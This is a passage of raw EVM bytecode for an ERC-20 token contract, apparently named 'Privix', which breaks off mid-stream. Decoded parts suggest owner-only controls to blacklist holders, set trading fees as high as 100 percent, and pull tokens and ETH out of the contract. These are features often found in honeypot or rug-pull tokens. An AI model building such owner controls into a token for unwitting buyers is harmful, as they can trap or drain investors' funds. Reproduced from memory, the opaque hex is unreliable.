5b91506144b08261444b565b604082019050919050565b5f6020820190508181035f8301526144d281614499565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f0000000000005f82015250565b5f61450d601a836131c6565b9150614518826144d9565b602082019050919050565b5f6020820190508181035f83015261453a81614501565b9050919050565b7f5265656e7472616e6379206775617264000000000000000000000000000000005f82015250565b5f6145756010836131c6565b915061458082614541565b602082019050919050565b5f6020820190508181035f8301526145a281614569565b9050919050565b7f4e6f20746f6b656e7320746f20737761700000000000000000000000000000005f82015250565b5f6145dd6011836131c6565b91506145e8826145a9565b602082019050919050565b5f6020820190508181035f83015261460a816145d1565b9050919050565b7f4554482062616c616e63652064656372656173656400000000000000000000005f82015250565b5f6146456015836131c6565b915061465082614611565b602082019050919050565b5f6020820190508181035f83015261467281614639565b9050919050565b7f4d756c7469706c69636174696f6e206f766572666c6f770000000000000000005f82015250565b5f6146ad6017836131c6565b91506146b882614679565b602082019050919050565b5f6020820190508181035f8301526146da816146a1565b9050919050565b5f81905092915050565b50565b5f6146f95f836146e1565b9150614704826146eb565b5f82019050919050565b5f614718826146ee565b9150819050919050565b7f455448207472616e73666572206661696c6564000000000000000000000000005f82015250565b5f6147566013836131c6565b915061476182614722565b602082019050919050565b5f6020820190508181035f8301526147838161474a565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f6147be601e836131c6565b91506147c98261478a565b602082019050919050565b5f6020820190508181035f8301526147eb816147b2565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f614826601b836131c6565b9150614831826147f2565b602082019050919050565b5f6020820190508181035f8301526148538161481a565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e20300000005f82015250565b5f61488e601d836131c6565b91506148998261485a565b602082019050919050565b5f6020820190508181035f8301526148bb81614882565b9050919050565b7f526f75746572206e6f74207365740000000000000000000000000000000000005f82015250565b5f6148f6600e836131c6565b9150614901826148c2565b602082019050919050565b5f6020820190508181035f830152614923816148ea565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f8151905061496581613284565b92915050565b5f602082840312156149805761497f61324c565b5b5f61498d84828501614957565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6149c881613273565b82525050565b5f6149d983836149bf565b60208301905092915050565b5f602082019050919050565b5f6149fb82614996565b614a0581856149a0565b9350614a10836149b0565b805f5b83811015614a40578151614a2788826149ce565b9750614a32836149e5565b925050600181019050614a13565b5085935050505092915050565b5f60a082019050614a605f830188613352565b614a6d6020830187613d7b565b8181036040830152614a7f81866149f1565b9050614a8e606083018561351b565b614a9b6080830184613352565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122047b075f51a734a91b8150996c4223056a3a5ddfc7eb2c446d398e8dbf1d5218464736f6c634300081e0033

Deployed Bytecode

0x6080604052600436106101d0575f3560e01c80637d1db4a5116100f6578063b95ce91011610094578063dd62ed3e11610063578063dd62ed3e146105fe578063ddee24a41461063a578063f54493d814610662578063fe575a871461068c576101d7565b8063b95ce91014610580578063bc37e1a3146105a8578063bf474bed146105be578063c9567bf9146105e8576101d7565b80638f9a55c0116100d05780638f9a55c0146104c857806395d89b41146104f2578063a9059cbb1461051c578063af24038714610558576101d7565b80637d1db4a51461044c5780638cd4426d146104765780638da5cb5b1461049e576101d7565b8063313ce5671161016e5780636fc3eaec1161013d5780636fc3eaec146103ba57806370a08231146103d0578063751039fc1461040c57806375c5f6e414610422576101d7565b8063313ce56714610323578063455a43961461034d57806351bc3c85146103755780636bd7780e1461038b576101d7565b80631053d256116101aa5780631053d2561461026b57806318160ddd1461029557806323b872dd146102bf578063295f5452146102fb576101d7565b806306fdde03146101db578063095ea7b3146102055780630faee56f14610241576101d7565b366101d757005b5f5ffd5b3480156101e6575f5ffd5b506101ef6106c8565b6040516101fc919061322c565b60405180910390f35b348015610210575f5ffd5b5061022b600480360381019061022691906132e1565b610705565b6040516102389190613339565b60405180910390f35b34801561024c575f5ffd5b50610255610722565b6040516102629190613361565b60405180910390f35b348015610276575f5ffd5b5061027f610728565b60405161028c9190613361565b60405180910390f35b3480156102a0575f5ffd5b506102a9610736565b6040516102b69190613361565b60405180910390f35b3480156102ca575f5ffd5b506102e560048036038101906102e0919061337a565b610759565b6040516102f29190613339565b60405180910390f35b348015610306575f5ffd5b50610321600480360381019061031c91906133ca565b61082d565b005b34801561032e575f5ffd5b506103376109ae565b6040516103449190613410565b60405180910390f35b348015610358575f5ffd5b50610373600480360381019061036e9190613453565b6109b6565b005b348015610380575f5ffd5b50610389610d81565b005b348015610396575f5ffd5b5061039f610e18565b6040516103b196959493929190613491565b60405180910390f35b3480156103c5575f5ffd5b506103ce610ede565b005b3480156103db575f5ffd5b506103f660048036038101906103f191906134f0565b610f4d565b6040516104039190613361565b60405180910390f35b348015610417575f5ffd5b50610420610f93565b005b34801561042d575f5ffd5b506104366110c3565b6040516104439190613339565b60405180910390f35b348015610457575f5ffd5b506104606110d9565b60405161046d9190613361565b60405180910390f35b348015610481575f5ffd5b5061049c600480360381019061049791906132e1565b6110df565b005b3480156104a9575f5ffd5b506104b2611280565b6040516104bf919061352a565b60405180910390f35b3480156104d3575f5ffd5b506104dc6112a7565b6040516104e99190613361565b60405180910390f35b3480156104fd575f5ffd5b506105066112ad565b604051610513919061322c565b60405180910390f35b348015610527575f5ffd5b50610542600480360381019061053d91906132e1565b6112ea565b60405161054f9190613339565b60405180910390f35b348015610563575f5ffd5b5061057e60048036038101906105799190613543565b611307565b005b34801561058b575f5ffd5b506105a660048036038101906105a19190613581565b6113c9565b005b3480156105b3575f5ffd5b506105bc6114b2565b005b3480156105c9575f5ffd5b506105d26116be565b6040516105df9190613361565b60405180910390f35b3480156105f3575f5ffd5b506105fc6116c4565b005b348015610609575f5ffd5b50610624600480360381019061061f91906135ac565b611808565b6040516106319190613361565b60405180910390f35b348015610645575f5ffd5b50610660600480360381019061065b919061364b565b61188a565b005b34801561066d575f5ffd5b50610676611b90565b6040516106839190613361565b60405180910390f35b348015610697575f5ffd5b506106b260048036038101906106ad91906134f0565b611b9e565b6040516106bf9190613339565b60405180910390f35b60606040518060400160405280600681526020017f5072697669780000000000000000000000000000000000000000000000000000815250905090565b5f610718610711611bf0565b8484611bf7565b6001905092915050565b60115481565b5f610731611dba565b905090565b5f6009600a6107459190613804565b6301406f40610754919061384e565b905090565b5f610765848484611df5565b61082284610771611bf0565b61081d85604051806060016040528060288152602001614aa66028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107d4611bf0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546127c29092919063ffffffff16565b611bf7565b600190509392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661086d611bf0565b73ffffffffffffffffffffffffffffffffffffffff161461088c575f5ffd5b5f61092a606461091c843073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016108cf919061352a565b602060405180830381865afa1580156108ea573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061090e91906138a3565b61281f90919063ffffffff16565b61289690919063ffffffff16565b90503073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61dead836040518363ffffffff1660e01b81526004016109699291906138ce565b6020604051808303815f875af1158015610985573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a99190613909565b505050565b5f6009905090565b6109be611bf0565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a429061397e565b60405180910390fd5b610a53611280565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab7906139e6565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2590613a4e565b60405180910390fd5b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb490613ab6565b60405180910390fd5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4390613b1e565b60405180910390fd5b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd290613b86565b60405180910390fd5b8060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f6a12b3df6cba4203bd7fd06b816789f87de8c594299aed5717ae070fac781bac82604051610d759190613339565b60405180910390a25050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dc1611bf0565b73ffffffffffffffffffffffffffffffffffffffff1614610de0575f5ffd5b5f610dea30610f4d565b90505f811115610dfe57610dfd816128ed565b5b5f4790505f811115610e1457610e1381612c67565b5b5050565b5f5f5f5f5f5f600d5495504294505f600d5411610e35575f610e54565b600d548511610e44575f610e53565b600d5485610e529190613ba4565b5b5b9350610e5e611dba565b9250610e68612d3d565b91505f600d54118015610e7c575060095482115b15610ed2575f61070885610e909190613c04565b90505f610708600183610ea39190613c34565b610ead919061384e565b9050858111610ebc575f610ec9565b8581610ec89190613ba4565b5b92505050610ed6565b5f90505b909192939495565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f1e611bf0565b73ffffffffffffffffffffffffffffffffffffffff1614610f3d575f5ffd5b5f479050610f4a81612c67565b50565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610f9b611bf0565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101f9061397e565b60405180910390fd5b6009600a6110369190613804565b6301406f40611045919061384e565b600e819055506009600a6110599190613804565b6301406f40611068919061384e565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61109d9190613804565b6301406f406110ac919061384e565b6040516110b99190613361565b60405180910390a1565b5f601360179054906101000a900460ff16905090565b600e5481565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661111f611bf0565b73ffffffffffffffffffffffffffffffffffffffff161461113e575f5ffd5b5f6111dc60646111ce848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611181919061352a565b602060405180830381865afa15801561119c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111c091906138a3565b61281f90919063ffffffff16565b61289690919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b815260040161123a929190613cc2565b6020604051808303815f875af1158015611256573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061127a9190613909565b50505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600681526020017f5072697669780000000000000000000000000000000000000000000000000000815250905090565b5f6112fd6112f6611bf0565b8484611df5565b6001905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611347611bf0565b73ffffffffffffffffffffffffffffffffffffffff1614611366575f5ffd5b60648211158015611378575060648111155b6113b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ae90613d33565b60405180910390fd5b81600881905550806009819055505050565b6113d1611bf0565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461145e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114559061397e565b60405180910390fd5b80601360176101000a81548160ff0219169083151502179055507fcbf582a9d6e9ddd56c81310ec1f706de4bcb9aef51402cb305384c4a4e354e5d816040516114a79190613339565b60405180910390a150565b6114ba611bf0565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153e9061397e565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016115c39291906138ce565b6020604051808303815f875af11580156115df573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116039190613909565b5060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061164c30610f4d565b5f5f611656611280565b426040518863ffffffff1660e01b815260040161167896959493929190613d8a565b60606040518083038185885af1158015611694573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906116b99190613de9565b505050565b60105481565b6116cc611bf0565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611759576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117509061397e565b60405180910390fd5b601360149054906101000a900460ff16156117a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a090613e83565b60405180910390fd5b6001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff02191690831515021790555043600c5f6101000a81548163ffffffff021916908363ffffffff16021790555042600d81905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b611892611bf0565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461191f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119169061397e565b60405180910390fd5b5f5f90505b83839050811015611b8a575f84848381811061194357611942613ea1565b5b905060200201602081019061195891906134f0565b9050611962611280565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156119c957503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015611a22575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015611a7b575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015611ad4575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15611b7c578260045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f6a12b3df6cba4203bd7fd06b816789f87de8c594299aed5717ae070fac781bac84604051611b739190613339565b60405180910390a25b508080600101915050611924565b50505050565b5f611b99612d3d565b905090565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5c90613f3e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cca90613fcc565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611dad9190613361565b60405180910390a3505050565b5f5f600d5403611dcc575f9050611df2565b62015180600d54611ddd9190613c34565b421015611dec575f9050611df2565b60085490505b90565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5a9061405a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec8906140e8565b60405180910390fd5b5f8111611f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0a90614176565b60405180910390fd5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611f9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f94906141de565b60405180910390fd5b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612027576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201e90614246565b60405180910390fd5b5f5f9050612033611280565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156120a15750612071611280565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156125125760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561214f575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156121a2575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156122f157601360169054906101000a900460ff166121f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ed906142ae565b60405180910390fd5b600e5482111561223b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223290614316565b60405180910390fd5b5f612244611dba565b905061226c606461225e838661281f90919063ffffffff16565b61289690919063ffffffff16565b9150600f546122848385612ddb90919063ffffffff16565b61228d86610f4d565b6122979190613c34565b11156122d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cf9061437e565b60405180910390fd5b600b5f8154809291906122ea9061439c565b9190505550505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561237957503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156123b3575f612387612d3d565b90506123af60646123a1838661281f90919063ffffffff16565b61289690919063ffffffff16565b9150505b5f6123bd30610f4d565b9050601360159054906101000a900460ff16158015612428575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156124405750601360169054906101000a900460ff165b801561244d575060105481115b801561245c5750600a54600b54115b1561251057601554431115612473575f6014819055505b6004601454106124b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124af9061442d565b60405180910390fd5b60145f8154809291906124ca9061439c565b9190505550436015819055505f6124ec846124e784601154612e33565b612e33565b90506124f7816128ed565b5f4790505f81111561250d5761250c81612c67565b5b50505b505b5f8111156126115761256a8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e4b90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126089190613361565b60405180910390a35b6126618260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ddb90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506127046126b88284612ddb90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e4b90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6127a78486612ddb90919063ffffffff16565b6040516127b49190613361565b60405180910390a350505050565b5f838311158290612809576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612800919061322c565b60405180910390fd5b5082846128169190613ba4565b90509392505050565b5f5f830361282f575f9050612890565b5f828461283c919061384e565b905082848261284b9190613c04565b1461288b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612882906144bb565b60405180910390fd5b809150505b92915050565b5f5f82116128d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128d090614523565b60405180910390fd5b81836128e59190613c04565b905092915050565b6001601360156101000a81548160ff021916908315150217905550601360159054906101000a900460ff1615612958576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294f9061458b565b60405180910390fd5b5f811161299a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612991906145f3565b60405180910390fd5b601360179054906101000a900460ff1615612c3f575f6129d760646129c960148561281f90919063ffffffff16565b61289690919063ffffffff16565b90505f6129ee60028361289690919063ffffffff16565b90505f612a048285612ddb90919063ffffffff16565b90505f8103612a1557505050612c4a565b5f479050612a2282612ea8565b5f47905081811015612a69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a609061465b565b60405180910390fd5b5f612a7d8383612ddb90919063ffffffff16565b90505f5f90505f85118015612a9157505f86115b8015612a9c57505f82115b15612b3757857fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff612acd9190613c04565b821115612b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b06906146c3565b60405180910390fd5b612b3485612b26888561281f90919063ffffffff16565b61289690919063ffffffff16565b90505b5f86118015612b4557505f81115b8015612b515750478111155b15612c3357612b823060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1688611bf7565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230895f5f612bcc611280565b426040518863ffffffff1660e01b8152600401612bee96959493929190613d8a565b60606040518083038185885af1158015612c0a573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190612c2f9190613de9565b5050505b50505050505050612c49565b612c4881612ea8565b5b5b5f601360156101000a81548160ff02191690831515021790555050565b5f810315612d3a575f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051612cb59061470e565b5f6040518083038185875af1925050503d805f8114612cef576040519150601f19603f3d011682016040523d82523d5f602084013e612cf4565b606091505b5050905080612d38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d2f9061476c565b60405180910390fd5b505b50565b5f5f600d5403612d51576007549050612dd8565b5f600d544211612d61575f612d70565b600d5442612d6f9190613ba4565b5b90505f61070882612d819190613c04565b90505f600582612d91919061384e565b9050612daa600954600754612ddb90919063ffffffff16565b8110612dbd576009549350505050612dd8565b612dd281600754612ddb90919063ffffffff16565b93505050505b90565b5f82821115612e1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e16906147d4565b60405180910390fd5b8183612e2b9190613ba4565b905092915050565b5f818311612e415782612e43565b815b905092915050565b5f5f8284612e599190613c34565b905083811015612e9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e959061483c565b60405180910390fd5b8091505092915050565b5f8111612eea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ee1906148a4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603612f79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f709061490c565b60405180910390fd5b5f600267ffffffffffffffff811115612f9557612f9461492a565b5b604051908082528060200260200182016040528015612fc35781602001602082028036833780820191505090505b50905030815f81518110612fda57612fd9613ea1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561307e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906130a2919061496b565b816001815181106130b6576130b5613ea1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061311c3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611bf7565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f843061012c4261316b9190613c34565b6040518663ffffffff1660e01b815260040161318b959493929190614a4d565b5f604051808303815f87803b1580156131a2575f5ffd5b505af11580156131b4573d5f5f3e3d5ffd5b505050505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6131fe826131bc565b61320881856131c6565b93506132188185602086016131d6565b613221816131e4565b840191505092915050565b5f6020820190508181035f83015261324481846131f4565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61327d82613254565b9050919050565b61328d81613273565b8114613297575f5ffd5b50565b5f813590506132a881613284565b92915050565b5f819050919050565b6132c0816132ae565b81146132ca575f5ffd5b50565b5f813590506132db816132b7565b92915050565b5f5f604083850312156132f7576132f661324c565b5b5f6133048582860161329a565b9250506020613315858286016132cd565b9150509250929050565b5f8115159050919050565b6133338161331f565b82525050565b5f60208201905061334c5f83018461332a565b92915050565b61335b816132ae565b82525050565b5f6020820190506133745f830184613352565b92915050565b5f5f5f606084860312156133915761339061324c565b5b5f61339e8682870161329a565b93505060206133af8682870161329a565b92505060406133c0868287016132cd565b9150509250925092565b5f602082840312156133df576133de61324c565b5b5f6133ec848285016132cd565b91505092915050565b5f60ff82169050919050565b61340a816133f5565b82525050565b5f6020820190506134235f830184613401565b92915050565b6134328161331f565b811461343c575f5ffd5b50565b5f8135905061344d81613429565b92915050565b5f5f604083850312156134695761346861324c565b5b5f6134768582860161329a565b92505060206134878582860161343f565b9150509250929050565b5f60c0820190506134a45f830189613352565b6134b16020830188613352565b6134be6040830187613352565b6134cb6060830186613352565b6134d86080830185613352565b6134e560a0830184613352565b979650505050505050565b5f602082840312156135055761350461324c565b5b5f6135128482850161329a565b91505092915050565b61352481613273565b82525050565b5f60208201905061353d5f83018461351b565b92915050565b5f5f604083850312156135595761355861324c565b5b5f613566858286016132cd565b9250506020613577858286016132cd565b9150509250929050565b5f602082840312156135965761359561324c565b5b5f6135a38482850161343f565b91505092915050565b5f5f604083850312156135c2576135c161324c565b5b5f6135cf8582860161329a565b92505060206135e08582860161329a565b9150509250929050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261360b5761360a6135ea565b5b8235905067ffffffffffffffff811115613628576136276135ee565b5b602083019150836020820283011115613644576136436135f2565b5b9250929050565b5f5f5f604084860312156136625761366161324c565b5b5f84013567ffffffffffffffff81111561367f5761367e613250565b5b61368b868287016135f6565b9350935050602061369e8682870161343f565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561372a57808604811115613706576137056136a8565b5b60018516156137155780820291505b8081029050613723856136d5565b94506136ea565b94509492505050565b5f8261374257600190506137fd565b8161374f575f90506137fd565b8160018114613765576002811461376f5761379e565b60019150506137fd565b60ff841115613781576137806136a8565b5b8360020a915084821115613798576137976136a8565b5b506137fd565b5060208310610133831016604e8410600b84101617156137d35782820a9050838111156137ce576137cd6136a8565b5b6137fd565b6137e084848460016136e1565b925090508184048111156137f7576137